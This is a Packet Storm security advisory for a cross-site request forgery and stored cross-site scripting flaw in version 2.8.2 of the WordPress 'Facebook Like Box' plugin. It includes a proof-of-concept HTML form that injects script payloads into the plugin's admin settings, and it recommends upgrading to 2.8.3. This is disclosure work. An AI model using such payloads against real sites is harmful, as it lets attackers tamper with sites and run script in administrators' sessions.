what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Facebook Like Box 2.8.2 CSRF / XSS

WordPress Facebook Like Box 2.8.2 CSRF / XSS
Posted Dec 12, 2014
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Facebook Like Box plugin version 2.8.2 suffers from a cross site request forgery vulnerability that can be leveraged to trick an admin into storing cross site scripting code.

tags | exploit, xss, csrf
SHA-256 | fbd7115249abacc1759c3198313fa977c9d2482a207b946edc53b58573a30152

WordPress Facebook Like Box 2.8.2 CSRF / XSS

Change Mirror Download
Title: WordPress 'Facebook Like Box' plugin - CSRF/XSS
Version: 2.8.2
Reported by: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej
Date: 2014/12/12
Download: https://wordpress.org/plugins/cardoza-facebook-like-box/
Notified WordPress: 2014/11/27
----------------------------------------------------------------

## Description:
----------------------------------------------------------------
Facebook Like Box is a social plugin that enables Facebook Page owners to attract and gain Likes from their own website.

## CSRF:
----------------------------------------------------------------
It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page.


## Stored XSS:
----------------------------------------------------------------
Settings data from the admin page is stored unsanitized and echo'ed on the plugin's admin page. This allows an attacker to perform XSS through these fields.


PoC:
Log in to a vulnerable site and press submit on this form:

<form method="POST" action="http://vuln.site/wp-admin/admin.php?page=slug_for_fb_like_box">
<input type="text" name="frm_title" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(1);&#x3C;/script&#x3E;"><br />
<input type="text" name="frm_url" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(2);&#x3C;/script&#x3E;"><br />
<input type="text" name="frm_border_color" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(3);&#x3C;/script&#x3E;"><br />
<input type="text" name="frm_width" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(4);&#x3C;/script&#x3E;"><br />
<input type="text" name="frm_height" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(5);&#x3C;/script&#x3E;"><br />
<input type="text" name="frm_color_scheme" value="light"><br />
<input type="text" name="frm_show_faces" value="true"><br />
<input type="text" name="frm_stream" value="true"><br />
<input type="text" name="frm_header" value="true"><br />
<input type="text" name="frm_submit" value="Save"><br />
<input type="submit">
</form>


## Solution
----------------------------------------------------------------
You should upgrade to version 2.8.3.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close